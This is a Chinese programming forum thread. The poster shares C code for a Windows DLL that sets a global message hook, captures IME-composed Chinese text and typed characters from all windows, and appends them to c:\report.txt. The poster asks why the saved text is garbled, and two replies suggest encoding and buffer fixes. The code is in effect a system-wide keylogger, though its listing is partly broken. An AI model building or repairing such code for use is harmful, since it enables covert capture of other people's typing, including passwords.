很诡异的是用对话框输出的时候结果是正确的,但是保存到文件的时候却老是乱码,谁能不能帮我看下:
(代码如下)#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport) 
char temp[20];
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)

LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
memset(temp,0,20);
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK); 
temp=lpstr;
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if(strlen(temp)>0)
{
fwrite(temp,1,sizeof(temp),f1);
fwrite("!!!",1,3,f1);
memset(temp,0,20);
}
else
{ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);}
fclose(f1); 
}
break;
}
}return(lResult);
}HHOOK  InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return g_hHook;
} BOOL UnHook(HHOOK g_hHook)

return UnhookWindowsHookEx(g_hHook);

BOOL APIENTRY DllMain( HANDLE hModule, 
DWORD ul_reason_for_call, 
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook(g_hHook);
break;
}
return TRUE;
}

解决方案 »

  1.   

    fwrite(temp,1,sizeof(temp)+1,f1);
    这样?
    还是unicode的问题你把messagebox改成messageboxA看看是乱码么?
    如果变成乱码
    说明是unicode的问题
    如果不是乱码
    说明是你写文件的问题
      

  2.   

    temp=lpstr; 这样都没报错?用memcpy
    fwrite(temp,1,sizeof(temp),f1);
    不要将sizeof(temp)=20全部写进去,不是已经计算好dwSize么
    temp的后面部分有一些不确定的数据如果是UniCode数据的话,这样写进文件可以
    要用UE之类的16进制软件打开,
    严格上这不是标准的UniCode格式文本文件